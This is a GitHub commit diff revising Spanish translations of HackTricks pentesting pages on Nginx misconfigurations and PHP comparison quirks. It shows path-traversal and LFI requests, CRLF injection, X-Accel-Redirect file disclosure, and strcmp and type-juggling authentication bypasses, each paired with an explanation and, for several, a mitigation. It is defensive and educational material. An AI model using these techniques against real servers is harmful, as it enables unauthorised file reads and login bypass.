mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['network-services-pentesting/pentesting-web/nginx.md', 'netw
This commit is contained in:
parent
9aeb1f4675
commit
8dba65cc69
7 changed files with 538 additions and 290 deletions
|
@ -2,29 +2,27 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
## Falta la ubicación raíz <a href="#missing-root-location" id="missing-root-location"></a>
|
## Falta la ubicación raíz <a href="#missing-root-location" id="missing-root-location"></a>
|
||||||
|
|
||||||
## **Aspectos esenciales de la configuración del directorio raíz de Nginx**
|
Al configurar el servidor Nginx, la directiva **root** juega un papel crítico al definir el directorio base desde el cual se sirven los archivos. Considera el siguiente ejemplo:
|
||||||
|
|
||||||
Al configurar el servidor Nginx, la **directiva root** juega un papel crítico al definir el directorio base desde el cual se sirven los archivos. Considera el ejemplo a continuación:
|
|
||||||
```bash
|
```bash
|
||||||
server {
|
server {
|
||||||
root /etc/nginx;
|
root /etc/nginx;
|
||||||
|
@ -37,19 +35,19 @@ proxy_pass http://127.0.0.1:8080/;
|
||||||
```
|
```
|
||||||
En esta configuración, `/etc/nginx` está designado como el directorio raíz. Esta configuración permite acceder a archivos dentro del directorio raíz especificado, como `/hello.txt`. Sin embargo, es crucial tener en cuenta que solo se define una ubicación específica (`/hello.txt`). No hay configuración para la ubicación raíz (`location / {...}`). Esta omisión significa que la directiva raíz se aplica globalmente, lo que permite que las solicitudes al camino raíz `/` accedan a archivos bajo `/etc/nginx`.
|
En esta configuración, `/etc/nginx` está designado como el directorio raíz. Esta configuración permite acceder a archivos dentro del directorio raíz especificado, como `/hello.txt`. Sin embargo, es crucial tener en cuenta que solo se define una ubicación específica (`/hello.txt`). No hay configuración para la ubicación raíz (`location / {...}`). Esta omisión significa que la directiva raíz se aplica globalmente, lo que permite que las solicitudes al camino raíz `/` accedan a archivos bajo `/etc/nginx`.
|
||||||
|
|
||||||
Esta configuración plantea una consideración de seguridad crítica. Una simple solicitud `GET`, como `GET /nginx.conf`, podría exponer información sensible al servir el archivo de configuración de Nginx ubicado en `/etc/nginx/nginx.conf`. Establecer la raíz en un directorio menos sensible, como `/etc`, podría mitigar este riesgo, sin embargo, aún podría permitir el acceso no deseado a otros archivos críticos, incluidos otros archivos de configuración, registros de acceso e incluso credenciales encriptadas utilizadas para la autenticación básica de HTTP.
|
Esta configuración plantea una consideración de seguridad crítica. Una simple solicitud `GET`, como `GET /nginx.conf`, podría exponer información sensible al servir el archivo de configuración de Nginx ubicado en `/etc/nginx/nginx.conf`. Establecer la raíz en un directorio menos sensible, como `/etc`, podría mitigar este riesgo, sin embargo, aún podría permitir el acceso no deseado a otros archivos críticos, incluidos otros archivos de configuración, registros de acceso e incluso credenciales cifradas utilizadas para la autenticación básica de HTTP.
|
||||||
|
|
||||||
## Configuración Incorrecta de Alias LFI <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
## Configuración Incorrecta de Alias LFI <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||||
|
|
||||||
En los archivos de configuración de Nginx, se justifica una inspección detallada de las directivas "location". Una vulnerabilidad conocida como Inclusión Local de Archivos (LFI) puede introducirse inadvertidamente a través de una configuración que se asemeja a la siguiente:
|
En los archivos de configuración de Nginx, se justifica una inspección detallada de las directivas "location". Una vulnerabilidad conocida como Inclusión de Archivos Locales (LFI) puede introducirse inadvertidamente a través de una configuración que se asemeje a la siguiente:
|
||||||
```
|
```
|
||||||
location /imgs {
|
location /imgs {
|
||||||
alias /path/images/;
|
alias /path/images/;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Esta configuración es propensa a ataques de LFI debido a que el servidor interpreta solicitudes como `/imgs../flag.txt` como un intento de acceder a archivos fuera del directorio previsto, resolviendo efectivamente a `/path/images/../flag.txt`. Esta falla permite a los atacantes recuperar archivos del sistema de archivos del servidor que no deberían ser accesibles a través de la web.
|
Este tipo de configuración es propenso a ataques de LFI debido a que el servidor interpreta solicitudes como `/imgs../flag.txt` como un intento de acceder a archivos fuera del directorio previsto, resolviéndose efectivamente como `/ruta/imagenes/../flag.txt`. Esta falla permite a los atacantes recuperar archivos del sistema de archivos del servidor que no deberían ser accesibles a través de la web.
|
||||||
|
|
||||||
Para mitigar esta vulnerabilidad, la configuración debe ajustarse a:
|
Para mitigar esta vulnerabilidad, la configuración debería ajustarse a:
|
||||||
```
|
```
|
||||||
location /imgs/ {
|
location /imgs/ {
|
||||||
alias /path/images/;
|
alias /path/images/;
|
||||||
|
@ -67,7 +65,7 @@ alias../ => HTTP status code 403
|
||||||
```
|
```
|
||||||
## Restricción de ruta insegura <a href="#uso-de-variable-insegura" id="uso-de-variable-insegura"></a>
|
## Restricción de ruta insegura <a href="#uso-de-variable-insegura" id="uso-de-variable-insegura"></a>
|
||||||
|
|
||||||
Consulte la siguiente página para aprender cómo evadir directivas como:
|
Verifica la siguiente página para aprender cómo evadir directivas como:
|
||||||
```plaintext
|
```plaintext
|
||||||
location = /admin {
|
location = /admin {
|
||||||
deny all;
|
deny all;
|
||||||
|
@ -84,7 +82,7 @@ Las variables vulnerables `$uri` y `$document_uri` deben ser reemplazadas por `$
|
||||||
|
|
||||||
Una expresión regular también puede ser vulnerable como:
|
Una expresión regular también puede ser vulnerable como:
|
||||||
|
|
||||||
`location ~ /docs/([^/])? { … $1 … }` - Vulnerable 
|
`location ~ /docs/([^/])? { … $1 … }` - Vulnerable
|
||||||
|
|
||||||
`location ~ /docs/([^/\s])? { … $1 … }` - No vulnerable (verificación de espacios)
|
`location ~ /docs/([^/\s])? { … $1 … }` - No vulnerable (verificación de espacios)
|
||||||
|
|
||||||
|
@ -107,9 +105,9 @@ Connection: keep-alive
|
||||||
Location: https://example.com/
|
Location: https://example.com/
|
||||||
Detectify: clrf
|
Detectify: clrf
|
||||||
```
|
```
|
||||||
Aprende más sobre los riesgos de la inyección CRLF y la división de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
Aprende más sobre los riesgos de la inyección de CRLF y la división de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||||
|
|
||||||
Además, esta técnica se [**explica en esta charla**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) con algunos ejemplos vulnerables y mecanismos de detección. Por ejemplo, para detectar esta mala configuración desde una perspectiva de caja negra, podrías usar estas solicitudes:
|
Además, esta técnica está [**explicada en esta charla**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) con algunos ejemplos vulnerables y mecanismos de detección. Por ejemplo, para detectar esta mala configuración desde una perspectiva de caja negra, podrías usar estas solicitudes:
|
||||||
|
|
||||||
- `https://example.com/%20X` - Cualquier código HTTP
|
- `https://example.com/%20X` - Cualquier código HTTP
|
||||||
- `https://example.com/%20H` - 400 Solicitud incorrecta
|
- `https://example.com/%20H` - 400 Solicitud incorrecta
|
||||||
|
@ -123,7 +121,7 @@ Otros ejemplos de detección serían:
|
||||||
|
|
||||||
Algunas configuraciones vulnerables encontradas presentadas en esa charla fueron:
|
Algunas configuraciones vulnerables encontradas presentadas en esa charla fueron:
|
||||||
|
|
||||||
- Observa cómo **`$uri`** se establece tal cual en la URL final.
|
- Observa cómo **`$uri`** se establece tal cual en la URL final
|
||||||
```
|
```
|
||||||
location ^~ /lite/api/ {
|
location ^~ /lite/api/ {
|
||||||
proxy_pass http://lite-backend$uri$is_args$args;
|
proxy_pass http://lite-backend$uri$is_args$args;
|
||||||
|
@ -149,7 +147,7 @@ Para **detectar esta mala configuración**, se puede ejecutar el siguiente coman
|
||||||
```bash
|
```bash
|
||||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||||
```
|
```
|
||||||
Escaneos para esta mala configuración en los sistemas revelaron múltiples instancias donde variables de Nginx podrían ser impresas por un usuario. Sin embargo, una disminución en el número de instancias vulnerables sugiere que los esfuerzos para parchar este problema han sido algo exitosos.
|
Escaneos para esta mala configuración en los sistemas revelaron múltiples instancias donde las variables de Nginx podrían ser impresas por un usuario. Sin embargo, una disminución en el número de instancias vulnerables sugiere que los esfuerzos para parchar este problema han sido algo exitosos.
|
||||||
|
|
||||||
## Lectura de respuesta en bruto del backend
|
## Lectura de respuesta en bruto del backend
|
||||||
|
|
||||||
|
@ -169,10 +167,10 @@ proxy_intercept_errors on;
|
||||||
proxy_hide_header Secret-Header;
|
proxy_hide_header Secret-Header;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Esta directiva permite a Nginx servir una respuesta personalizada para respuestas del servidor con un código de estado mayor a 300. Asegura que, para nuestro ejemplo de aplicación uWSGI, una respuesta de `Error 500` sea interceptada y manejada por Nginx.
|
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Esta directiva permite a Nginx servir una respuesta personalizada para respuestas del backend con un código de estado mayor a 300. Asegura que, para nuestro ejemplo de aplicación uWSGI, una respuesta de `Error 500` sea interceptada y manejada por Nginx.
|
||||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Como su nombre sugiere, esta directiva oculta encabezados HTTP especificados al cliente, mejorando la privacidad y seguridad.
|
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Como su nombre indica, esta directiva oculta encabezados HTTP especificados al cliente, mejorando la privacidad y seguridad.
|
||||||
|
|
||||||
Cuando se realiza una solicitud `GET` válida, Nginx la procesa normalmente, devolviendo una respuesta de error estándar sin revelar ningún encabezado secreto. Sin embargo, una solicitud HTTP no válida evade este mecanismo, lo que resulta en la exposición de respuestas del servidor en bruto, incluidos encabezados secretos y mensajes de error.
|
Cuando se realiza una solicitud `GET` válida, Nginx la procesa normalmente, devolviendo una respuesta de error estándar sin revelar ningún encabezado secreto. Sin embargo, una solicitud HTTP no válida evade este mecanismo, lo que resulta en la exposición de respuestas del backend en bruto, incluidos encabezados secretos y mensajes de error.
|
||||||
|
|
||||||
## merge\_slashes establecido en off
|
## merge\_slashes establecido en off
|
||||||
|
|
||||||
|
@ -182,9 +180,21 @@ Para mitigar tales riesgos, se recomienda **desactivar la directiva `merge_slash
|
||||||
|
|
||||||
Para obtener más información, consulta [Danny Robinson y Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
Para obtener más información, consulta [Danny Robinson y Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||||
|
|
||||||
### **Valor predeterminado en la directiva Map**
|
### **Encabezados de Respuesta Maliciosos**
|
||||||
|
|
||||||
En la **configuración de Nginx**, la directiva `map` a menudo desempeña un papel en el **control de autorización**. Un error común es no especificar un valor **predeterminado**, lo que podría resultar en acceso no autorizado. Por ejemplo:
|
Como se muestra en [**este artículo**](https://mizu.re/post/cors-playground), hay ciertos encabezados que, si están presentes en la respuesta del servidor web, cambiarán el comportamiento del proxy Nginx. Puedes consultarlos [**en la documentación**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||||
|
|
||||||
|
* `X-Accel-Redirect`: Indica a Nginx redirigir internamente una solicitud a una ubicación especificada.
|
||||||
|
* `X-Accel-Buffering`: Controla si Nginx debe o no almacenar en búfer la respuesta.
|
||||||
|
* `X-Accel-Charset`: Establece el conjunto de caracteres para la respuesta al usar X-Accel-Redirect.
|
||||||
|
* `X-Accel-Expires`: Establece el tiempo de expiración para la respuesta al usar X-Accel-Redirect.
|
||||||
|
* `X-Accel-Limit-Rate`: Limita la velocidad de transferencia para respuestas al usar X-Accel-Redirect.
|
||||||
|
|
||||||
|
Por ejemplo, el encabezado **`X-Accel-Redirect`** causará una **redirección interna** en el nginx. Por lo tanto, tener una configuración de nginx con algo como **`root /`** y una respuesta del servidor web con **`X-Accel-Redirect: .env`** hará que nginx envíe el contenido de **`/.env`** (Traversing de Rutas).
|
||||||
|
|
||||||
|
### **Valor Predeterminado en la Directiva Map**
|
||||||
|
|
||||||
|
En la **configuración de Nginx**, la directiva `map` a menudo desempeña un papel en el **control de autorización**. Un error común es no especificar un valor **predeterminado**, lo que podría resultar en un acceso no autorizado. Por ejemplo:
|
||||||
```yaml
|
```yaml
|
||||||
http {
|
http {
|
||||||
map $uri $mappocallow {
|
map $uri $mappocallow {
|
||||||
|
@ -203,7 +213,7 @@ return 200 "Hello. It is private area: $mappocallow";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Sin un `default`, un **usuario malicioso** puede evadir la seguridad accediendo a una **URI no definida** dentro de `/map-poc`. [El manual de Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) recomienda establecer un **valor predeterminado** para evitar este tipo de problemas.
|
Sin un `default`, un **usuario malicioso** puede evadir la seguridad accediendo a una **URI no definida** dentro de `/map-poc`. [El manual de Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) recomienda establecer un **valor por defecto** para evitar este tipo de problemas.
|
||||||
|
|
||||||
### **Vulnerabilidad de Suplantación de DNS**
|
### **Vulnerabilidad de Suplantación de DNS**
|
||||||
|
|
||||||
|
@ -211,9 +221,9 @@ La suplantación de DNS contra Nginx es factible bajo ciertas condiciones. Si un
|
||||||
```yaml
|
```yaml
|
||||||
resolver 8.8.8.8;
|
resolver 8.8.8.8;
|
||||||
```
|
```
|
||||||
### Directivas `proxy_pass` e `internal`
|
### Directivas **`proxy_pass`** e **`internal`**
|
||||||
|
|
||||||
La directiva **`proxy_pass`** se utiliza para redirigir solicitudes a otros servidores, ya sea interna o externamente. La directiva **`internal`** asegura que ciertas ubicaciones solo sean accesibles dentro de Nginx. Si bien estas directivas no son vulnerabilidades por sí mismas, su configuración requiere un examen cuidadoso para prevenir fallos de seguridad.
|
La directiva **`proxy_pass`** se utiliza para redirigir solicitudes a otros servidores, ya sea interna o externamente. La directiva **`internal`** asegura que ciertas ubicaciones solo sean accesibles dentro de Nginx. Si bien estas directivas no son vulnerabilidades por sí mismas, su configuración requiere un examen cuidadoso para evitar brechas de seguridad.
|
||||||
|
|
||||||
## proxy\_set\_header Upgrade & Connection
|
## proxy\_set\_header Upgrade & Connection
|
||||||
|
|
||||||
|
@ -249,7 +259,7 @@ Ten en cuenta que incluso si `proxy_pass` apunta a una **ruta** específica como
|
||||||
|
|
||||||
## Pruébalo tú mismo
|
## Pruébalo tú mismo
|
||||||
|
|
||||||
Detectify ha creado un repositorio en GitHub donde puedes usar Docker para configurar tu propio servidor de prueba vulnerable de Nginx con algunas de las configuraciones incorrectas discutidas en este artículo ¡y tratar de encontrarlas tú mismo!
|
Detectify ha creado un repositorio en GitHub donde puedes usar Docker para configurar tu propio servidor de prueba Nginx vulnerable con algunas de las configuraciones incorrectas discutidas en este artículo ¡y tratar de encontrarlas tú mismo!
|
||||||
|
|
||||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||||
|
|
||||||
|
@ -261,7 +271,7 @@ Gixy es una herramienta para analizar la configuración de Nginx. El objetivo pr
|
||||||
|
|
||||||
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
|
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
|
||||||
|
|
||||||
Nginxpwner es una herramienta simple para buscar configuraciones incorrectas y vulnerabilidades comunes en Nginx.
|
Nginxpwner es una herramienta simple para buscar configuraciones incorrectas y vulnerabilidades comunes de Nginx.
|
||||||
|
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
|
@ -269,20 +279,20 @@ Nginxpwner es una herramienta simple para buscar configuraciones incorrectas y v
|
||||||
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
|
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
|
||||||
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
|
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuración instantáneamente disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, obtener acceso y divertirse.
|
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
|
@ -2,19 +2,19 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Otras formas de apoyar a HackTricks:
|
Otras formas de apoyar a HackTricks:
|
||||||
|
|
||||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -40,7 +40,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||||
|
|
||||||
Si se utiliza `==` en PHP, pueden ocurrir casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también deseas comparar que el tipo de los datos comparados sea el mismo, necesitas usar `===`.
|
Si se utiliza `==` en PHP, pueden ocurrir casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también deseas comparar que el tipo de los datos comparados sea el mismo, necesitas usar `===`.
|
||||||
|
|
||||||
Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
Tablas de comparación en PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (564).png>)
|
![](<../../../.gitbook/assets/image (564).png>)
|
||||||
|
|
||||||
|
@ -51,7 +51,7 @@ Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.
|
||||||
* `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida por cualquier cosa será igual a 0
|
* `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida por cualquier cosa será igual a 0
|
||||||
* `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida por cualquier letra (X puede ser cualquier letra) y seguida por cualquier cosa será igual a 0
|
* `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida por cualquier letra (X puede ser cualquier letra) y seguida por cualquier cosa será igual a 0
|
||||||
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparándolo. Por lo tanto, si puedes proporcionar un valor que creará un hash que comienza con "0e" y sin ninguna letra, podrías saltar la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparándolo. Por lo tanto, si puedes proporcionar un valor que creará un hash que comienza con "0e" y sin ninguna letra, podrías saltar la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||||
* `"X" == 0 --> True` Cualquier letra en una cadena es igual a 0 entero
|
* `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0
|
||||||
|
|
||||||
Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||||
|
|
||||||
|
@ -74,9 +74,7 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
||||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||||
// Real Password
|
// Real Password
|
||||||
```
|
```
|
||||||
El mismo error ocurre con `strcasecmp()`
|
### Tipos estrictos de conversión
|
||||||
|
|
||||||
### Conversión estricta de tipos
|
|
||||||
|
|
